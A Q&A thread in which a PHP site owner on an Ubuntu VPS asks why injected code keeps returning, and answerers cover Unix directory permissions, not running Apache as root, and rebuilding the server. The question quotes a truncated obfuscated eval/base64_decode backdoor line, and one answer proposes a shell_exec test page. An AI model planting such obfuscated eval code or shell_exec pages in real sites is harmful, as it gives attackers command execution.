0

I run an Ubuntu 12.04 x64 VPS with Vesta, and a site in PHP. It has been hacked several times with injected code that looks like this:

<?php $KoDgalxVvsZfidVcEOTJDeMX='ba'.'se6'.'4_deco'.'de';eval($KoDgalxVvsZfidVcEOTJDeMX("cHJlZ19yZXBsYWNlKCIvN0xna0xnND1IR2JEOGs2WDht....

To fix it, I decided to change permissions and owner of all the files to 555 and root, so no user can change the files. I removed FTP access and secured SSH so only the keys I have in the VPS are able to connect.

In spite of all these changes, another user is always able to change files, rename folders, and upload another hacked file.

What do you think I am missing? Any suggestion? Thank you! If you need further information about this issue I will be glad to share, to help others suffering from the same evil!

Cristina G.
  • 11
  • 1
  • 5
  • 4
    What user is PHP running as? It seems the attacker has been able to make changes with root permissions, which they've either done directly or through a local privilege escalation vulnerability after taking over a less privileged process. – Shane Madden Feb 23 '15 at 21:12
  • Who owns "upload another hacked file."? You shouldn't be giving execute perms to php files at all btw. – AD7six Feb 23 '15 at 21:14
  • @ShaneMadden : Apache is run by root. Php master process is run by root. But now that you mention, I see two additional processes being run by the user that is constantly changing my files. – Cristina G. Feb 23 '15 at 21:17
  • @AD7six the hacked file is originally owned by root user. When it is hacked, the owner changes to admin user (the one I am trying to prevent). No execute to php you say? Which permissions do yo suggest? Thank you! – Cristina G. Feb 23 '15 at 21:18
  • Is the filesystem mounted with *acl* option? Have you checked `/etc/sudoers` and `/etc/passwd`? Anything suspicious listening on TCP/UDP ports? To be honest, full OS reinstall would be my option of choice. – sam_pan_mariusz Feb 23 '15 at 21:19
  • @CristinaG. Which probably indicates they delete and recreate the file. – AD7six Feb 23 '15 at 21:20
  • @CristinaG. above all else, read and follow the reference in Shane's answer. You haven't shown your config, and have left contradictory comments - start from scratch and **don't** _change_ any process to run as root. The basis for what you should do is grant the minimum permissions for things to function on a file-by-file/folder-by-folder basis _and no more than that_. – AD7six Feb 23 '15 at 21:28
  • After starting from scratch, use PHP config option *open_basedir* whenever possible. Disable PHP access to executables, except the ones required (whitelist). Avoid running any daemon anytime as root, whenever possible. These are generic advices but they really help to avoid this kind of 'mystery'. – sam_pan_mariusz Feb 23 '15 at 21:43
  • @sam_pan_mariusz thank you. Makes sense. Thank you all for your advices. Most likely I will start from scratch a new vps taking into account your suggestions. – Cristina G. Feb 23 '15 at 21:52
  • 2
    What are the permissions and ownership of the directory in which the file is located? – MadHatter Feb 23 '15 at 22:39
  • I had this at work 2 years ago. Burn the server, start again. And follow this: http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpini-disable-functions/ – Ismael Miguel Feb 24 '15 at 01:17
  • @IsmaelMiguel I actually did that but AFTER the first attack. I will do it in the new server. Thanks – Cristina G. Feb 24 '15 at 17:07
  • @CristinaG. You're wellcome. Probably there are other functions to take some care. I would also look into running PHP in secure mode. Secure mode has a few useful restrictions that may help to reduce damage in case the system is attacked again. Also, make sure that your folders are set to 775 or 755. You will also need to investigate vulnerabilities in upload forms. If you are going to be saving images, use Wideimage (http://wideimage.sourceforge.net/) to save the images. For uploads, I would create a folder with an htaccess disabling direct access and to send php and html files as plain text. – Ismael Miguel Feb 24 '15 at 17:52

4 Answers4

7

If you can avoid it, you should not be running the web server processes as the root user, since that means the compromise of any vulnerability in the web service will completely compromise the server.

With where you are now, I'd recommend starting from scratch on a new server - the attacker could have given themselves persistent root access through any number of methods. See here for more information.

Shane Madden
  • 114,520
  • 13
  • 181
  • 251
  • `you should not be running the web server processes as the root user` - a comment indicates (thankfully) that's not the case. – AD7six Feb 23 '15 at 21:23
  • @AD7six Which comment do you mean? I got the opposite impression from `Apache is run by root. Php master process is run by root.` – Shane Madden Feb 23 '15 at 21:24
  • 1
    AFAIK, Ubuntu's own Apache package can't run as root. It starts as root to bind to 80/TCP, 443/TCP or any other privileged ports, then it drops the privileges. Default user is *www-data* (uid = 33). If you try to force User/Group to 'root' then httpd refuses to start. – sam_pan_mariusz Feb 23 '15 at 21:25
  • Eww. conflicting/ambiguous... I read only `I see two additional processes being run by the user that is constantly changing my files` `the owner changes to admin user (the one I am trying to prevent)`. – AD7six Feb 23 '15 at 21:25
  • @sam_pan_mariusz Well, we don't even know whether it's a package install or compiled from source. – Shane Madden Feb 23 '15 at 21:26
  • @AD7six Ahh, I see what you mean. – Shane Madden Feb 23 '15 at 21:27
  • The "manager" application that runs the webserver is Vesta. I have one instance of Apache being run by root. The rest of the instances are run by www-data (which I find odd). PHP, same thing. One instance run by root, two instances run by "admin" user (created by Vesta on install). @AD7six – Cristina G. Feb 23 '15 at 21:41
  • 1
    Sorry about the mix up with users and processes. My bad! – Cristina G. Feb 23 '15 at 21:44
1

In spite of all these changes, another user is always able to change files, rename folders, and upload another hacked file.

If the parent directory of your web root is owned by the same user who runs the web server, then those parent directory permissions would override any permissions set to child files and directories.

For example, open up a “Terminal” process in any directory you own. Now create a file called zzz_test.txt like this:

touch zzz_foo.txt

Now check the file like this:

ls -la zzz_foo.txt

Permissions—in my case—look like this:

-rw-r--r--  1 jake  staff  0 Feb 23 19:11 zzz_foo.txt

Then I run chmod like this:

chmod 555 zzz_foo.txt 

Now run ls -la again and the result will look like this:

-r-xr-xr-x  1 jake  staff  0 Feb 23 19:11 zzz_foo.txt

Okay, permissions are changed. So let’s do something “crazy” like attempt to delete it:

rm zzz_foo.txt

The response would be:

override r-xr-xr-x  jack/staff for zzz_foo.txt?

And then simply hit y and press return and viola! The file is gone.

This is why simply changing file permissions will never be an effective way to secure a web server. The simple nature of the way web servers work—especially if it is based in PHP—means that the web server user will always have read and write access to files it needs to access. So the act of simply going chmod 555 [some files] is an ineffective way to “defend” oneself against malware and hacking attempts.

As for what you can do now? Well, simply changing permissions and ownership add up to nothing. The larger issue is your PHP codebase is vulnerable to attack. So the only effective way to clean up this kind of stuff is clean up your PHP code. If this site is based on a canned framework like Joomla!, WordPress or CakePHP then the best course of action is to upgrade the core Joomla!, WordPress or CakePHP framework to plug up the security hold. Similarly, if there is a Joomla!, WordPress or CakePHP plugin that is vulnerable to attack, that plugin should be upgraded/patched to plug in the hole.

And past all of that, your core system software—assuming it is a L.A.M.P. (Linux Apache MySQL PHP) stack—should be kept up to date and patched as well.

At the end of the day website security is not just a one time thing. It is an overall mentality and maintenance process that must be adhered to. Otherwise when your site does get hacked, you will be running headless in the aftermath attempting to clean up the mess which can actually cause more damage than the initial malware incursion itself.

Giacomo1968
  • 3,542
  • 27
  • 38
  • "override" permissions? renaming, deleting, or creating new files requires write permission in the directory. (Because if you think about it, you're modifying the directory entry, which is where the mapping from filename to inode is stored.) Write permission on the file is only needed to modify the contents. As a convenience, `rm` (the shell command) warns you before removing a read-only file, but it still just calls `unlink(2)`. (I think your example left out `rm`, because you just have the filename by itself.) – Peter Cordes Feb 24 '15 at 03:24
  • If you `rm` the file in my example before changing permissions, the file is simply deleted without a prompt. If you `rm` the file after setting `555` permissions the `override r-xr-xr-x jack/staff for zzz_foo.txt?` comes up since those permissions imply you cannot/should-not be able to adjust it, but the ownership rights and permissions on the parent directory allows you to override the `r-xr-xr-x` and just trash it. Regardless, the whole concept that `555` would be able to protect one against malware incursions on a PHP website is naive and ineffectual. My example is just an example of why. – Giacomo1968 Feb 24 '15 at 03:29
  • 1
    yep. I was just pointing out that `555` DOESN'T mean the file can't be removed, with Unix filesystem semantics. So it doesn't make sense to call it an override. That's not how it works. The confusion comes from a misunderstanding of which permissions govern what. (This behaviour is actually required by POSIX, though. google 'posix rm'.) I still wouldn't call it an "override", since I think it's more helpful to teach people how the system is really designed. – Peter Cordes Feb 24 '15 at 03:44
  • Thank you for making this clearer. I will consider this then to deploy my next VPS. – Cristina G. Feb 24 '15 at 17:06
0

An attacker got root on your system. You can't trust ANYTHING on the system, at all. The scope of what can be done by a rootkit is vast.

If you have backups of your content somewhere, then use them. Otherwise, you can hope the attacker didn't mess up your data. Dump your SQL tables and copy that along with your other stuff (jpgs, pdfs, html, but NOT any scripts / php / anything else that will be executed). Copy it to another system, or dowload it to your home computer if it's small enough for you to be able to upload it again.

Do whatever you can to verify that what you copied is still ok. (like check that the jpgs are still all valid jpgs, just in case. Maybe run a virus scanner on them?)

Blow away the compromised install. If your server is hosted on a typical hosting service, then hopefully they have things set up so you have a control panel that can't be messed up even by root on the host. So you can hope that the attacker didn't manage to touch anything outside of the machine they compromised. (If you had passwordless access to anything else set up on that machine, though, check them.)

Do whatever you have to do to make a fresh install. Might as well move to Ubuntu 14.04 LTS, since you have to reinstall anyway.

Do NOT copy any code from the compromised system to the new system. All data that came from the compromised system should be treated like a potential plague carrier.

Unix filesystem semantics require write permission on the directory for you to remove files. (filenames are links from a name to an inode. The system call to make hardlinks (other names for a file) is link(2), and the call to remove a file is unlink(2).)

If the sticky bit is set on a directory (chmod +t), unlink(2) and rename(2) also require that the caller own the file to be unlinked or renamed. (regardless of write permission on the file). It's standard for /tmp and /var/tmp to be 1777 (world writeable with sticky bit set).

rm, the shell command, is required by POSIX to prompt before unlinking read-only files, but it has to check for that case. It doesn't have to actually do anything more than unlink(2) like it would for any other file. So don't be fooled into thinking that this has any effect at all on an adversary.

None of this is very relevant to defending against attacks, because the most likely case is gaining control of your web server process, or something else that is running with a user-id that does have write access to a lot of things.

The more you can limit what can be written by processes that have to deal with data from the Internet, the less chance there is for an attacker to escalate from getting control of your httpd to modifying your data or getting control of your whole machine.

This is why you shouldn't run apache as root.

Peter Cordes
  • 457
  • 4
  • 10
  • Thank you Peter. I changed the user who runs php to www-data; it used to be the attacking user (admin). I will monitor the site for a week, otherwise, as most of you suggested, I will start a new VPS from scratch. – Cristina G. Feb 24 '15 at 16:52
  • If the attacker has root already, they already have full control of everything. None of the "have to be owner" restrictions apply to root! You have to assume they ALREADY infected every file they have write access to with code that will grant them full access again when that code runs. – Peter Cordes Feb 24 '15 at 23:38
  • I wasn't trying to disagree with everyone else that was telling you directory permissions weren't going to solve your problem. I was just answering the exact question you asked about what `555` means for `rm`. – Peter Cordes Feb 24 '15 at 23:39
  • Understood. You are absolutely right, the actual question was permissions vs. access and you answered it for me. Thank you ! I am considering everything you said for my next deployment. – Cristina G. Feb 25 '15 at 22:16
0

I agree with starting over with the server option, but if you want more security and control, a dedicated server is a better idea.

As for your situation, the first thing I suggest is to disable every running service except for shell access. This means stop the FTP service, the web server (HTTP), email, etc etc. Next go into the shell and navigate to the folders containing the items you claimed are being hacked. then type in:

ls -al

You should see something similar to the following in the results:

drwxrwxrwx  2 root root  4096 2014-10-10 00:31 ./

If the fourth item (or especially the third item) is actually "root", then you're in deep trouble and you need to redo your web server configuration so that it executes things as different users depending on folder. You should look into mod_rewrite (or similar) for apache then adjust your apache configuration file (httpd.conf) accordingly so that the system changes the username when every request to the folder is made. Then change the username and groupname of the folder accordingly.

Once that's fixed, then navigate to the document root folder (likely public_html), use an editor (pico works) and type in the following:

<?php
echo shell_exec("whoami");
?>

then save it as who.php. Next turn on the web server and in any browser, go to your website home page but add who.php to the end of it and you should see only one word on the screen. If that word is root, then you're in deep trouble and need to take the above steps again. If the word is nobody, then you're somewhat in trouble because hackers know that username very well.

  • Hello Mike. I disabled shell_exec() function on my php.ini . The user running apache is www-data. – Cristina G. Feb 24 '15 at 16:54
  • Do you have mod_ruid2 or suexec or anything equivalent installed with apache? The functionality you're aiming for is for the current username to switch from www-data to anything else (other than nobody and root) so that if a hacker tries to hack, then he is limited to the same limitations that the new user (that www-data is switched to) has. Without this functionality, the hacker may be able to destroy all files on the server and possibly stop all running apache processes programmatically simply because all is managed by the same user (www-data). –  Feb 24 '15 at 17:30